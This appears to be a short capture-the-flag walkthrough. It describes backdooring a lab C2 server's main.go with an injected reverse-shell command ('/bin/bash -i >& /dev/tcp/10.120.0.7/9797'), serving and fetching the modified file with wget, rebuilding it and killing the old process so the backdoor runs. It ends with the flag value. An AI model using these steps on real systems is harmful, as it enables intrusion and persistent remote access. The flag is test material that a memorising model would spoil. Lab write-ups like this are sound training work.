- Resume From 🗂 Lateral Movement 2
- Find
main.go
is C2 🗂 C2 main.go
- Check linux,
go
is installed!
go version
# go version go1.18.1 linux/amd64
- Just Change
command
in 🗂 C2 Backdoored main.go Line: 107
... {"flag": flag_data, "command": "ls;/bin/bash -i >& /dev/tcp/10.120.0.7/9797 0>&1;"}
- (local PC) Start:
nc -l 0.0.0.0 9797
- (local PC) Start:
python3 -m http.server
- Download
04-main.go
into C2
wget "http://10.120.0.7:8000/04-main.go"
- Make Backup of Old Files
mv main.go main.back.go
mv main main.bak
- Build
mv 04-main.go main.go
go build main.go
- Find Old
main
Proccess and kill it (start.sh
will restart new code automatically)
ps
# find pid of `main`
kill 117404
- (local PC:
nc
) Read Flag: MAZAPA_d230612eee83dbf304f84d6b3b0e0d86